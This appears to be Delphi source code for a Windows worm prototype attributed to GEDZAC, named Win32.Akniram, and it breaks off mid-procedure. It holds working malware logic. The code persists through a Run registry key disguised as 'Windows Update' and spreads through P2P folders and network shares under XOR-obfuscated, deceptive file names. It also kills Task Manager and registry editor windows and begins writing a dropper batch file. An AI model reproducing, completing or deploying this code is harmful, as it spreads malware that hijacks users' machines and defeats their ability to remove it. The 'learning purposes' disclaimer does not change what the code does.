Pana_Infierno[GEDZAC]
Prototipo de worm usando solo api de windows nunca fue terminado ni liberado
fue programado con fines de aprendizaje
program ira;
{$R Letal.RES}
const
MB_OK = $0000000;
MAX_PATH = 260;
CLSCTX_INPROC_SERVER = 1;
CLSCTX_LOCAL_SERVER = 4;
SW_HIDE = 0;
VER_PLATFORM_WIN32s = 0;
{$EXTERNALSYM VER_PLATFORM_WIN32s}
VER_PLATFORM_WIN32_WINDOWS = 1;
{$EXTERNALSYM VER_PLATFORM_WIN32_WINDOWS}
VER_PLATFORM_WIN32_NT = 2;
{$EXTERNALSYM VER_PLATFORM_WIN32_NT}
SDateEncodeError = \'Invalid argument to date encode\';
var
xp:boolean;
type
FARPROC = Pointer;
HINST = type LongWord;
HMODULE = HINST;
HWND = type LongWord;
UINT = LongWord;
BOOL = LongBool;
DWORD = LongWord;
LPCSTR = PAnsiChar;
TFarProc = Pointer;
TFNThreadStartRoutine = TFarProc;
THandle = LongWord;
HKEY = type LongWord;
TCLSID = TGUID;
TIID = TGUID;
WPARAM = Longint;
LPARAM = Longint;
ACCESS_MASK = DWORD;
REGSAM = ACCESS_MASK; { Requested Key access mask type. }
PDWORD = ^DWORD;
PByte = ^Byte;
TMbcsByteType = (mbSingleByte, mbLeadByte, mbTrailByte);
LCID = DWORD;
LANGID = Word;
PDayTable = ^TDayTable;
TDayTable = array[1..12] of Word;
//************ Este type es para infectar entorno de red ***********
type
PNetResourceA = ^TNetResourceA;
PNetResourceW = ^TNetResourceW;
PNetResource = PNetResourceA;
{$EXTERNALSYM _NETRESOURCEA}
_NETRESOURCEA = packed record
dwScope: DWORD;
dwType: DWORD;
dwDisplayType: DWORD;
dwUsage: DWORD;
lpLocalName: PAnsiChar;
lpRemoteName: PAnsiChar;
lpComment: PAnsiChar;
lpProvider: PAnsiChar;
end;
{$EXTERNALSYM _NETRESOURCEW}
_NETRESOURCEW = packed record
dwScope: DWORD;
dwType: DWORD;
dwDisplayType: DWORD;
dwUsage: DWORD;
lpLocalName: PWideChar;
lpRemoteName: PWideChar;
lpComment: PWideChar;
lpProvider: PWideChar;
end;
{$EXTERNALSYM _NETRESOURCE}
_NETRESOURCE = _NETRESOURCEA;
TNetResourceA = _NETRESOURCEA;
TNetResourceW = _NETRESOURCEW;
TNetResource = TNetResourceA;
{$EXTERNALSYM NETRESOURCEA}
NETRESOURCEA = _NETRESOURCEA;
{$EXTERNALSYM NETRESOURCEW}
NETRESOURCEW = _NETRESOURCEW;
{$EXTERNALSYM NETRESOURCE}
NETRESOURCE = NETRESOURCEA;
//*************** Hasta ACA ************
TLangRec = packed record
FName: string;
FLCID: LCID;
FExt: string;
end;
TTimeStamp = record
Time: Integer; { Number of milliseconds since midnight }
Date: Integer; { One plus number of days since 1/1/0001 }
end;
PSystemTime = ^TSystemTime;
_SYSTEMTIME = record
wYear: Word;
wMonth: Word;
wDayOfWeek: Word;
wDay: Word;
wHour: Word;
wMinute: Word;
wSecond: Word;
wMilliseconds: Word;
end;
// {$EXTERNALSYM _SYSTEMTIME}
TSystemTime = _SYSTEMTIME;
SYSTEMTIME = _SYSTEMTIME;
// {$EXTERNALSYM SYSTEMTIME}
_FILETIME = record
dwLowDateTime: DWORD;
dwHighDateTime: DWORD;
end;
TFileTime = _FILETIME;
_WIN32_FIND_DATAA = record
dwFileAttributes: DWORD;
ftCreationTime: TFileTime;
ftLastAccessTime: TFileTime;
ftLastWriteTime: TFileTime;
nFileSizeHigh: DWORD;
nFileSizeLow: DWORD;
dwReserved0: DWORD;
dwReserved1: DWORD;
cFileName: array[0..MAX_PATH - 1] of AnsiChar;
cAlternateFileName: array[0..13] of AnsiChar;
end;
TWin32FindDataA = _WIN32_FIND_DATAA;
TWin32FindData = TWin32FindDataA;
TFileName = type string;
TSearchRec = record
Time: Integer;
Size: Integer;
Attr: Integer;
Name: TFileName;
ExcludeAttr: Integer;
FindHandle: THandle;
FindData: TWin32FindData;
end;
LongRec = packed record
Lo, Hi: Word;
end;
TSysLocale = packed record
DefaultLCID: LCID;
PriLangID: LANGID;
SubLangID: LANGID;
FarEast: Boolean;
MiddleEast: Boolean;
end;
{ Exceptions }
Const
Virus_Name = \'Win32.Akniram.Ch@TA\';
Kernel32 = \'kernel32.dll\';
User32 = \'user32.dll\';
advapi32 = \'advapi32.dll\';
ole32 = \'ole32.dll\';
mpr = \'mpr.dll\';
faReadOnly = $00000001;
faHidden = $00000002;
faSysFile = $00000004;
faVolumeID = $00000008;
faDirectory = $00000010;
faArchive = $00000020;
faAnyFile = $0000003F;
STANDARD_RIGHTS_ALL = $001F0000;
KEY_QUERY_VALUE = $0001;
KEY_SET_VALUE = $0002;
KEY_CREATE_SUB_KEY = $0004;
KEY_ENUMERATE_SUB_KEYS = $0008;
KEY_NOTIFY = $0010;
KEY_CREATE_LINK = $0020;
SYNCHRONIZE = $00100000;
INVALID_HANDLE_VALUE = DWORD(-1);
KEY_ALL_ACCESS = (STANDARD_RIGHTS_ALL or
KEY_QUERY_VALUE or
KEY_SET_VALUE or
KEY_CREATE_SUB_KEY or
KEY_ENUMERATE_SUB_KEYS or
KEY_NOTIFY or
KEY_CREATE_LINK) and not
SYNCHRONIZE;
HKEY_CURRENT_USER = DWORD($80000001);
HKEY_CLASSES_ROOT = DWORD($80000000);
SecsPerDay = 24 * 60 * 60;
MSecsPerDay = SecsPerDay * 1000;
FMSecsPerDay: Single = MSecsPerDay;
IMSecsPerDay: Integer = MSecsPerDay;
DateDelta = 693594;
MonthDays: array [Boolean] of TDayTable =
((31, 28, 31, 30, 31, 30, 31, 31, 30, 31, 30, 31),
(31, 29, 31, 30, 31, 30, 31, 31, 30, 31, 30, 31));
// Declaracion api
function Messagebox(hWnd: HWND; lpText, lpCaption: PChar; uType: UINT): Integer; stdcall;
external user32 name \'MessageBoxA\';
function CopyFile(lpExistingFileName, lpNewFileName: PAnsiChar; bFailIfExists: BOOL): BOOL; stdcall;
external kernel32 name \'CopyFileA\';
function GetWindowsDirectory(lpBuffer: PAnsiChar; uSize: UINT): UINT; stdcall;
external kernel32 name \'GetWindowsDirectoryA\';
function WinExec(lpCmdLine: LPCSTR; uCmdShow: UINT): UINT; stdcall;
external kernel32 name \'WinExec\';
function CreateThread(lpThreadAttributes: Pointer;
dwStackSize: DWORD; lpStartAddress: TFNThreadStartRoutine;
lpParameter: Pointer; dwCreationFlags: DWORD; var lpThreadId: DWORD): THandle; stdcall;
external kernel32 name \'CreateThread\';
function GetEnvironmentVariable(lpName: PChar; lpBuffer: PChar; nSize: DWORD): DWORD; stdcall;
external kernel32 name \'GetEnvironmentVariableA\';
function RegOpenKey(hKey: HKEY; lpSubKey: PChar; var phkResult: HKEY): Longint; stdcall;
external advapi32 name \'RegOpenKeyA\';
function CoCreateInstance(const clsid: TCLSID; unkOuter: IUnknown;
dwClsContext: Longint; const iid: TIID; out pv): HResult; stdcall;
external ole32 name \'CoCreateInstance\';
function FindWindow(lpClassName, lpWindowName: PChar): HWND; stdcall;
external user32 name \'FindWindowA\';
function PostMessage(hWnd: HWND; Msg: UINT; wParam: WPARAM; lParam: LPARAM): BOOL; stdcall;
external user32 name \'PostMessageA\';
function FindFirstFile(lpFileName: PChar; var lpFindFileData: TWIN32FindData): THandle; stdcall;
external kernel32 name \'FindFirstFileA\';
function FindNextFile(hFindFile: THandle; var lpFindFileData: TWIN32FindData): BOOL; stdcall;
external kernel32 name \'FindNextFileA\';
function FindClose(hFindFile: THandle): BOOL; stdcall;
external kernel32 name \'FindClose\';
function GetLastError: DWORD; stdcall;
external kernel32 name \'GetLastError\';
function FileTimeToLocalFileTime(const lpFileTime: TFileTime; var lpLocalFileTime: TFileTime): BOOL; stdcall;
external kernel32 name \'FileTimeToLocalFileTime\';
function FileTimeToDosDateTime(const lpFileTime: TFileTime; var lpFatDate, lpFatTime: Word): BOOL; stdcall;
external kernel32 name \'FileTimeToDosDateTime\';
function DeleteFile(lpFileName: PChar): BOOL; stdcall;
external kernel32 name \'DeleteFileA\';
function GetShortPathName(lpszLongPath: PChar; lpszShortPath: PChar;
cchBuffer: DWORD): DWORD; stdcall;
external kernel32 name \'GetShortPathNameA\';
function RegQueryValueEx(hKey: HKEY; lpValueName: PChar;
lpReserved: Pointer; lpType: PDWORD; lpData: PByte; lpcbData: PDWORD): Longint; stdcall;
external advapi32 name \'RegQueryValueExA\';
function RegCloseKey(hKey: HKEY): Longint; stdcall;
external advapi32 name \'RegCloseKey\';
function RegOpenKeyEx(hKey: HKEY; lpSubKey: PChar;
ulOptions: DWORD; samDesired: REGSAM; var phkResult: HKEY): Longint; stdcall;
external advapi32 name \'RegOpenKeyExA\';
function WNetOpenEnum(dwScope, dwType, dwUsage: DWORD;
lpNetResource: PNetResource; var lphEnum: THandle): DWORD; stdcall;
external mpr name \'WNetOpenEnumA\';
function WNetEnumResource(hEnum: THandle; var lpcCount: DWORD;
lpBuffer: Pointer; var lpBufferSize: DWORD): DWORD; stdcall;
external mpr name \'WNetEnumResourceA\';
procedure GetSystemTimeAsFileTime(var lpSystemTimeAsFileTime: TFileTime); stdcall;
external kernel32 name \'GetSystemTimeAsFileTime\';
// Fin declaraciones de api
//inicio procedures api
//PROCEDURE zip_make(IN_FILE,OUT_FILE,FILE_NAME_INSIDE_ZIP:STRING);
procedure Sleep(dwMilliseconds: DWORD); stdcall;
external kernel32 name \'Sleep\';
procedure GetLocalTime(var lpSystemTime: TSystemTime); stdcall;
external kernel32 name \'GetLocalTime\';
procedure GetSystemTime(var lpSystemTime: TSystemTime); stdcall;
external kernel32 name \'GetSystemTime\';
//fin procedures api
var //Globales
F:TextFile;
pathWindows:string;
accion:string;
ThreadId:dword;
SysLocale: TSysLocale;
LeadBytes: set of Char = [];
stSystemTime:TSYSTEMTIME;
cantidad:integer;
valor:string;
//***************** FECHA ******************
function IsLeapYear(Year: Word): Boolean;
begin
Result := (Year mod 4 = 0) and ((Year mod 100 <> 0) or (Year mod 400 = 0));
end;
function DoEncodeDate(Year, Month, Day: Word; var Date: TDateTime): Boolean;
var
I: Integer;
DayTable: PDayTable;
begin
Result := False;
DayTable := @MonthDays[IsLeapYear(Year)];
if (Year >= 1) and (Year <= 9999) and (Month >= 1) and (Month <= 12) and
(Day >= 1) and (Day <= DayTable^[Month]) then
begin
for I := 1 to Month - 1 do Inc(Day, DayTable^[I]);
I := Year - 1;
Date := I * 365 + I div 4 - I div 100 + I div 400 + Day - DateDelta;
Result := True;
end;
end;
function EncodeDate(Year, Month, Day: Word): TDateTime;
begin
// if not DoEncodeDate(Year, Month, Day, Result) then
// ConvertError(SDateEncodeError);
DoEncodeDate(Year, Month, Day, Result);
// ConvertError(SDateEncodeError);
end;
function Date: TDateTime;
var
SystemTime: TSystemTime;
begin
GetLocalTime(SystemTime);
with SystemTime do Result := EncodeDate(wYear, wMonth, wDay);
end;
procedure DivMod(Dividend: Integer; Divisor: Word;
var Result, Remainder: Word);
asm
PUSH EBX
MOV EBX,EDX
MOV EDX,EAX
SHR EDX,16
DIV BX
MOV EBX,Remainder
MOV [ECX],AX
MOV [EBX],DX
POP EBX
end;
function DateTimeToTimeStamp(DateTime: TDateTime): TTimeStamp;
asm
MOV ECX,EAX
FLD DateTime
FMUL FMSecsPerDay
SUB ESP,8
FISTP QWORD PTR [ESP]
FWAIT
POP EAX
POP EDX
OR EDX,EDX
JNS @@1
NEG EDX
NEG EAX
SBB EDX,0
DIV IMSecsPerDay
NEG EAX
JMP @@2
@@1: DIV IMSecsPerDay
@@2: ADD EAX,DateDelta
MOV [ECX].TTimeStamp.Time,EDX
MOV [ECX].TTimeStamp.Date,EAX
end;
procedure InternalDecodeDate(Date: TDateTime; var Year, Month, Day, DOW: Word);
const
D1 = 365;
D4 = D1 * 4 + 1;
D100 = D4 * 25 - 1;
D400 = D100 * 4 + 1;
var
Y, M, D, I: Word;
T: Integer;
DayTable: PDayTable;
begin
T := DateTimeToTimeStamp(Date).Date;
if T <= 0 then
begin
Year := 0;
Month := 0;
Day := 0;
DOW := 0;
end else
begin
DOW := T mod 7;
Dec(T);
Y := 1;
while T >= D400 do
begin
Dec(T, D400);
Inc(Y, 400);
end;
DivMod(T, D100, I, D);
if I = 4 then
begin
Dec(I);
Inc(D, D100);
end;
Inc(Y, I * 100);
DivMod(D, D4, I, D);
Inc(Y, I * 4);
DivMod(D, D1, I, D);
if I = 4 then
begin
Dec(I);
Inc(D, D1);
end;
Inc(Y, I);
DayTable := @MonthDays[IsLeapYear(Y)];
M := 1;
while True do
begin
I := DayTable^[M];
if D < I then Break;
Dec(D, I);
Inc(M);
end;
Year := Y;
Month := M;
Day := D + 1;
end;
end;
procedure DecodeDate(Date: TDateTime; var Year, Month, Day: Word);
var
Dummy: Word;
begin
InternalDecodeDate(Date, Year, Month, Day, Dummy);
end;
//**************** FECHA *************************
function ExtractShortPathName(const FileName: string): string;
var
Buffer: array[0..MAX_PATH - 1] of Char;
begin
SetString(Result, Buffer,
GetShortPathName(PChar(FileName), Buffer, SizeOf(Buffer)));
end;
function LeerReg(kRoot: HKEY; sKey, sValue: String): String;
var
qValue: array[0..1023] of Char;
DataSize: Integer;
CurrentKey: HKEY;
begin
RegOpenKeyEx(kRoot, PChar(sKey), 0, KEY_ALL_ACCESS, CurrentKey);
Datasize := 1023;
// RegQueryValueEx(CurrentKey, PChar(sValue), nil, nil, nil, @DataSize);
RegQueryValueEx(CurrentKey, PChar(sValue), nil, nil, @qValue[0], @DataSize);
RegCloseKey(CurrentKey);
Result := String(qValue);
end;
function WindowsDirectory : String;
var
pcWindowsDirectory : PChar;
dwWDSize : DWORD;
begin
dwWDSize := MAX_PATH + 1;
GetMem( pcWindowsDirectory, dwWDSize );
try
if GetWindowsDirectory( pcWindowsDirectory, dwWDSize ) <> 0 then
Result := pcWindowsDirectory;
finally
FreeMem( pcWindowsDirectory );
end;
end;
function FindMatchingFile(var F: TSearchRec): Integer;
var
LocalFileTime: TFileTime;
begin
with F do
begin
while FindData.dwFileAttributes and ExcludeAttr <> 0 do
if not FindNextFile(FindHandle, FindData) then
begin
Result := GetLastError;
Exit;
end;
FileTimeToLocalFileTime(FindData.ftLastWriteTime, LocalFileTime);
FileTimeToDosDateTime(LocalFileTime, LongRec(Time).Hi,
LongRec(Time).Lo);
Size := FindData.nFileSizeLow;
Attr := FindData.dwFileAttributes;
Name := FindData.cFileName;
end;
Result := 0;
end;
function FindFirst(const Path: string; Attr: Integer;
var F: TSearchRec): Integer;
const
faSpecial = faHidden or faSysFile or faVolumeID or faDirectory;
begin
F.ExcludeAttr := not Attr and faSpecial;
F.FindHandle := FindFirstFile(PChar(Path), F.FindData);
if F.FindHandle <> INVALID_HANDLE_VALUE then
begin
Result := FindMatchingFile(F);
// if Result <> 0 then FindClose(F);
end else
Result := GetLastError;
end;
function FindNext(var F: TSearchRec): Integer;
begin
if FindNextFile(F.FindHandle, F.FindData) then
Result := FindMatchingFile(F) else
Result := GetLastError;
end;
function FileExists(Archivo:Pchar):boolean;
var
Fail:longBool;
begin
Fail:=False;
if copyfile(Archivo,\'c:\\et\',Fail) then
begin
FileExists:=True;
Accion:=\'Cmd.exe /c attrib -r -a -s -h \'+ ExtractShortPathName(\'c:\\et\');
WinExec(Pchar(accion),SW_HIDE);
sleep(1000);
DeleteFile(\'c:\\et\');
end
else
begin
FileExists:=False;
Accion:=\'Cmd.exe /c attrib -r -a -s -h \'+ ExtractShortPathName(\'c:\\et\');
WinExec(Pchar(accion),SW_HIDE);
sleep(1000);
DeleteFile(\'c:\\et\');
end;
end;
function StrLen(const Str: PChar): Cardinal; assembler;
asm
MOV EDX,EDI
MOV EDI,EAX
MOV ECX,0FFFFFFFFH
XOR AL,AL
REPNE SCASB
MOV EAX,0FFFFFFFEH
SUB EAX,ECX
MOV EDI,EDX
end;
Function E(Texto:string;Clave:integer):string;
var
Nuevo:string;
Largo,I:Integer;
begin
Largo := strLen(PChar(Texto));
For i := 1 to Largo do
begin
Nuevo := Nuevo + chr(ord(Texto[i]) xor Clave);
end;
E := Nuevo;
end;
function archivosdeprograma:string;
begin
archivosdeprograma:=\'c:\\archivos de programa\';
end;
procedure grabaRegistro;
var
supertaldo:textFile;
ydespues:string;
copio:string;
i:integer;
begin
ydespues:=\'\';
AssignFile(SuperTaldo,PathWindows+\'\\infectate.reg\');
Rewrite(SuperTaldo);
Writeln(SuperTaldo,\'REGEDIT4\');
Writeln(SuperTaldo,\'[HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows\\CurrentVersion\\Run]\');
for i:=1 to Length(PathWindows +\'\\\'+ \'WUpdate.exe\') do
begin
copio:=copy(PathWindows + \'\\\'+ \'WUpdate.exe\',i,1);
if copio = \'\\\' then
begin
ydespues:=ydespues+\'\\\'+copio;
end
else
begin
ydespues:=ydespues+copio;
end;
end;
Writeln(SuperTaldo,\'\"Windows Update\"=\"\'+ydespues+\' c WUPDT.exe\'+\'\"\');
Close(superTaldo);
if xp then
begin
accion :=\'Cmd.exe /c regedit /s /c \' + PathWindows+ \'\\infectate.reg\';
end
else
begin
accion:=\'Command.com /c regedit /s /c \' + PathWindows+ \'\\infectate.reg\';
end;
WinExec(Pchar(accion),0);
end;
Procedure InfectP2P;
var
i,k:integer;
const P2P: array[0..20] of String =
(\'V^exxod^ezckVNe}dfeknyV\',\'VogfoVcdiegcdmV\',\'Vkzzfo@cioVcdiegcdmV\',\'VoNedaos8:::VcdiegcdmV\',\'VMdifoyVNe}dfeknyV\',\'VMxeay
~oxVGs*Mxeay~oxV\',\'VCI[Vybkxon*lcfoyV\',\'VAkpkkVGs*Ybkxon*LefnoxV\',\'VAkPkK*Fc~oVGs*Ybkxon*LefnoxV\',\'VFcgo]cxoVYbkxonV\',\'Vgexzb
oyVGs*Ybkxon*LefnoxV\',\'VE|oxdo~VcdiegcdmV\',\'VYbkxokpkVNe}dfeknyV\',\'VY}kz~exVNe}dfeknV\',\'V]cdGRVGs*Ybkxon*LefnoxV\',\'V^oyfkVLc
foyV\',\'VRefeRVNe}dfeknyV\',\'VXkzcmk~exVYbkxoV\',\'VAGNVGs*Ybkxon*LefnoxV\',\'VHokxYbkxoVYbkxonV\',\'VKxoyVGs*Ybkxon*LefnoxV\');
const Name:array[0..70] of Pchar = (\'Zkgofk*Kdnoxyed\',
\'Ixkia*Doxe*Orzxoyy\',\'^exxod~\',\'Ixkia*Dex~ed\',\'Ixkia*Gyd\',\'Ixkiaokx*Gyd\',\']cdkgz2\',\']cdxkx9<:\',\'Dex~ed*8::?\',\'Zkgofk$`zm\',\'Ix
kia*Gyd*=$:\',\'CXI\',\'Ixkia*Cxi\',\'Zexdemxklck\',\'RRR\',\'\\cnoe\',\'Kmo*el*Ogzcxoy\',\'Y~kxixkl~\',\'Kmo*El*Ogzcxoy*Ixkia\',\'Y~kxixkl~*Ixk
ia\',\'Acffox*Cdy~cdi~\',\'ixkia*dex~ed*8::?\',\'dex~ed*8::<\',\'gyd2\',\'Akpkk*Gonck*Noya~ez\',\'CI[*Fc~o\',\']cdPcz\',\'cGoyb\',\'KEF*Cdy~kd~
*Goyyodmox*\"KCG#\',\'CI[*zxe*8::9k*ho~k\',\'Gexzboy\',\'Kn*k}kxo\',\'^xcffckd\',\'Ne}dfekn*Kiiofoxk~ex*zfy\',\'PedoKfkxg\'
,\'Gcixeyel~*Ellcio*RZ\',\'Gcixeyel~*]cdne}y*8::9\',\'Ellcio*8::9\',\'\\cykf*Y~nce*Do~\',\'Nofzbc*<\',\'gyd*bkia\',\'Gk~xcr*Ge|co\',\'\\cx~
kf*Mcxf\',\'Lcxo]exay*>\',\'LCxo]exay*GR\',\'Ixkiaon\',\'ixkia*kff*|oxycedy\',\'AosMod\',\'Lff*|oxyced\',\'Xozxeni~ex*no*]cdne}y*Gonck\'
,\'Mxeay~ox\',\']cdXKX\',\'Nc|R*\\cnoe*Hdnfo\',\'XokfEdo*Lxoo*Zfksox\',\'Do~gox\',\'@o~Knce*Hkyci\',\'Xomcy~xs*Goibkdci\',\'Iezoxdci*Kmod~
\',\']cdkgz\',\'Nco~*Akpkk\',\'YefYc~o*8::90*Yefc~kcxo*Ikxn*Mkgoy*Yc~o\',\'[cia^cgo\',\'RefeR*_f~xk\',\'Gcixeyel~*Cd~oxdo~*Orfexox\',\'D
o~}exa*Ikhfo*o*KNYF*Yzoon\',\'Akpkk*Ne}dfekn*Kiiofoxk~ex\',\'Mfehkf*Nc\\R*fksox\',\'Ncxoi~N\\N\',\'Fefc~ky\',\'Zone\',\'yore\');
Begin
if (paramstr(1) = \'c\') or (paramstr(1) = \'C\') then
begin
for k:=0 to 70 do
begin
for i:=0 to 20 do
begin
CopyFile(Pchar(PathWindows + \'\\\' +paramstr(2)),pchar(archivosdeprograma+E(P2P[i],10)+E(Name[k],10)+\'.exe\'),True);
end;
end;
for k:=0 to 70 do
begin
CopyFile(Pchar(PathWindows+E(\'V]_znk~o$oro\',10)),pchar(E(\'I0VCdo~zhVl~zxee~V\',10)+E(Name[k],10)+\'.exe\'),true);
CopyFile(Pchar(PathWindows+E(\'V]_znk~o$oro\',10)),pchar(E(\'I0VGs*Ne}dfeknV\',10)+E(Name[k],10)+\'.exe\'),true);
CopyFile(Pchar(PathWindows+E(\'V]_znk~o$oro\',10)),pchar(E(\'I0VGs*Ne}dfeknyV\',10)+E(Name[k],10)+\'.exe\'),true);
CopyFile(Pchar(PathWindows+E(\'V]_znk~o$oro\',10)),pchar(E(\'I0VGs*Ybkxon*LefnoxV\',10)+E(Name[k],10)+\'.exe\'),true);
CopyFile(Pchar(PathWindows+E(\'V]_znk~o$oro\',10)),pchar(E(\'I0VNe}dfeknV\',10)+E(Name[k],10)+\'.exe\'),true);
CopyFile(Pchar(PathWindows+E(\'V]_znk~o$oro\',10)),pchar(E(\'I0VNe}dfeknyV\',10)+E(Name[k],10)+\'.exe\'),true);
end;
end;
End;
//****************************************************
procedure Kill;
begin
asm
push ebx
push 0
call FindWindow
test eax,eax
jz @nOp_
push 0
push 0
push 12h
push eax
Call PostMessage
@nOp_:
end;
end;
procedure MatarVarios;
var
Ventana1,Ventana2,Ventana3,Ventana4,Ventana5,Ventana6,Ventana7: pchar;
Begin
Ventana1:=Pchar(E(\'Kngcdcy~xknex*no*~kxoky*no*]cdne}y\',10));
Ventana2:=Pchar(E(\'_~cfcnkn*no*iedlcmxkicùd*nof*ycy~ogk\',10));
Ventana3:=Pchar(E(\'Onc~ex*nof*Xomcy~xe\',10));
Ventana4:=Pchar(E(\'Iedyefk*no*\\cx~kf*Zi\',10));
Ventana5:=Pchar(E(\'Ioxxkx*Zxemxkgk\',10));
Ventana6:=Pchar(E(\'Zxemxkgk*no*iedlcmxkicùd*nof*ycy~ogk\',10));
Ventana7:=Pchar(E(\'Ioxxkx*zxemxkgk\',10));
asm
mov ebx, Ventana1
Call Kill
mov ebx, Ventana2
Call Kill
mov ebx, Ventana3
Call Kill
mov ebx, Ventana4
Call Kill
mov ebx, Ventana5
Call Kill
mov ebx, Ventana6
Call Kill
mov ebx, Ventana7
Call Kill
end;
End;
function Lista(NombreArchivo:string):Integer;
var
cantidad:integer;
copio:string;
begin
cantidad:=0;
AssignFile(f,(NombreArchivo));
Reset(f);
While not eof(f) do
begin
Readln(f, Copio);
if Copio <> \' \' then
begin
cantidad:=cantidad+1;
end;
end;
CloseFile(f);
Result:=cantidad;
end;
//********************* Inicio entorno de red **************************
Procedure InfectarEntornoRed;
procedure Enumera(Cual:PnetResource);
var
Mango :THandle;
NumeroEntradas :DWord;
Buffer :Array [1..100] of TNetResource;
LongBuffer :DWord;
n :Integer;
begin
LongBuffer:=SizeOf(Buffer);
WNetOpenEnum( 2,0,0,Cual,Mango);
NumeroEntradas:=100;
WNetEnumResource( Mango,NumeroEntradas,@Buffer[1],LongBuffer);
for n:=1 to NumeroEntradas do
begin
if Not FileExists(Pchar(PathWindows + e(\'Vdo~$nk~\',10))) then
begin
AssignFile(f,(PathWindows + e(\'Vdo~$nk~\',10)));
Rewrite(f);
Writeln(F, E(Buffer[n].lpRemoteName,10));
CloseFile(F)
end
else
begin
AssignFile(f,(PathWindows + e(\'Vdo~$nk~\',10)));
Append(F);
Writeln(F, E(Buffer[n].lpRemoteName,10));
CloseFile(F);
end;
if (Buffer[n].dwUsage and 2)=
2 then
begin
Enumera(@Buffer[n]);
end;
end;
end;
var
n:integer;
Stri:string;
cantidad:integer;
s:string;
const
Nombres:array[0..21] of string =(\'Leeme.txt.exe\',\'Corazon.txt.exe\',\'Escribeme.txt.exe\',\'Se quien eres.txt.exe\',\'No te
olvido.txt.exe\',\'Te quiero mucho.txt.exe\',\'Esto es para ti.txt.exe\',\'No podras olvidarme.txt.exe\',\'Siento lo que
paso.txt.exe\',\'No me leas.txt.exe\',\'No soy para
ti.txt.exe\',\'Kamasutra.txt.exe\',\'Sueños.txt.exe\',\'Readme.txt.exe\',\'Instalacion.txt.exe\',\'Carta
Blanca.txt.exe\',\'Instrucciones.txt.exe\',\'Solitario.txt.exe\',\'Hotmail hack.txt.exe\',\'Sacar pass hotmail.txt.exe\',\'Crackear
Windows.txt.exe\',\'Hablar Gratis.txt.exe\');
begin
Enumera(nil);
cantidad:=Lista(PathWindows + e(\'Vdo~$nk~\',10));
AssignFile(f,(PathWindows + e(\'Vdo~$nk~\',10)));
Reset(F);
Randomize;
For n:=0 to cantidad do
begin
Readln(F, S);
Stri:=copy(s,0,2);
if stri = \'\\\\\' then
begin
copyfile(pchar(paramstr(0)),Pchar(e(S,10)+\'\\\'+ Nombres[random(21)]),True);
end;
end;
CloseFile(F);
end;
//Fin entorno de Red.
procedure infectarsistema;
begin
CopyFile(pchar(Paramstr(0)),Pchar(pathWindows+\'\\WUpdate.exe\'),true);
end;
Procedure infectarsistema_;
label go4;
begin
go4:
infectarsistema;
Sleep(10000);
goto go4;
end;
Procedure GrabaRegistro_;
label go4;
begin
go4:
grabaregistro;
Sleep(10000);
goto go4;
end;
Procedure infectp2p_;
label go5;
begin
go5:
InfectP2P;
Sleep(100);
goto go5;
end;
Procedure MatarVarios_;
label go5;
begin
go5:
MatarVarios;
Sleep(100);
goto go5;
end;
Procedure InfectarEntornoRed_;
label go5;
begin
go5:
InfectarEntornoRed;
Sleep(600000);
goto go5;
end;
Procedure BuscaFicheros(path, mask : AnsiString; brec : Boolean);
var
iFound : Integer;
srRes : TSearchRec;
begin
if ( brec ) then
begin
if path[Length(path)] <> \'\\\' then path := path +\'\\\';
iFound := FindFirst( path + \'*.*\', faAnyfile, srRes );
while iFound = 0 do // si es distinto de cero significa que no hay mas archivos y salta a **
begin
if ( srRes.Name <> \'.\' ) and ( srRes.Name <> \'..\' ) then
if srRes.Attr and faDirectory > 0 then // si es esto significa que es un directorio
BuscaFicheros( path + srRes.Name, mask, brec ); //sigue escarbando
iFound := FindNext(srRes);
end;
end;
//** es este if
if path[Length(path)] <> \'\\\' then path := path +\'\\\';
iFound := FindFirst(path+mask, faAnyFile-faDirectory, srRes);
while iFound = 0 do
begin
if ( srRes.Name <> \'.\' ) and ( srRes.Name <> \'..\' ) and ( srRes.Name <> \'\' ) then
//aca escarbo hasta el ultimo directorio entonces guarda la ruta y el nombre de archivo
//Grabo la ruta de la busqueda en un txt
AssignFile(f,pathwindows + \'\\list.sys\');
if Not FileExists(Pchar(pathwindows + \'\\list.sys\')) then
begin
rewrite(f);
writeln(f,path+srRes.Name);
end
else
begin
Append(f);
writeln(f,path+srRes.Name);
end;
close(f);
// End grabo
iFound := FindNext(srRes);
end;
end;
function StrScan(const Str: PChar; Chr: Char): PChar; assembler;
asm
PUSH EDI
PUSH EAX
MOV EDI,Str
MOV ECX,0FFFFFFFFH
XOR AL,AL
REPNE SCASB
NOT ECX
POP EDI
MOV AL,Chr
REPNE SCASB
MOV EAX,0
JNE @@1
MOV EAX,EDI
DEC EAX
@@1: POP EDI
end;
function ByteTypeTest(P: PChar; Index: Integer): TMbcsByteType;
var
I: Integer;
begin
Result := mbSingleByte;
if (P = nil) or (P[Index] = #$0) then Exit;
if (Index = 0) then
begin
if P[0] in LeadBytes then Result := mbLeadByte;
end
else
begin
I := Index - 1;
while (I >= 0) and (P[I] in LeadBytes) do Dec(I);
if ((Index - I) mod 2) = 0 then Result := mbTrailByte
else if P[Index] in LeadBytes then Result := mbLeadByte;
end;
end;
function ByteType(const S: string; Index: Integer): TMbcsByteType;
begin
Result := mbSingleByte;
if SysLocale.FarEast then
Result := ByteTypeTest(PChar(S), Index-1);
end;
function LastDelimiter(const Delimiters, S: string): Integer;
var
P: PChar;
begin
Result := Length(S);
P := PChar(Delimiters);
while Result > 0 do
begin
if (S[Result] <> #0) and (StrScan(P, S[Result]) <> nil) then
if (ByteType(S, Result) = mbTrailByte) then
Dec(Result)
else
Exit;
Dec(Result);
end;
end;
function ChangeFileExt(const FileName, Extension: string): string;
var
I: Integer;
begin
I := LastDelimiter(\'.\\:\',Filename);
if (I = 0) or (FileName[I] <> \'.\') then I := MaxInt;
Result := Copy(FileName, 1, I - 1) + Extension;
end;
function ExtractFilePath(const FileName: string): string;
var
I: Integer;
begin
I := LastDelimiter(\'\\:\', FileName);
Result := Copy(FileName, 1, I);
end;
function ExtractFileName(const FileName: string): string;
var
I: Integer;
begin
I := LastDelimiter(\'\\:\', FileName);
Result := Copy(FileName, I + 1, MaxInt);
end;
//************** Crear Spam **************************
procedure muereDep;
var
f:textfile;
begin
Assignfile(f,\'c:\\spam.bat\');
Append(f);
writeln(f,\'echo e 3020 C3 42 16 05 41 2B 23 30 EB FF 42 F3 20 4C 6F 6F>>spam\');
writeln(f,\'echo e 3030 6B 75 70 20 2E 2E 97 D0 66 92 4F DB 30 58 DC 15>>spam\');
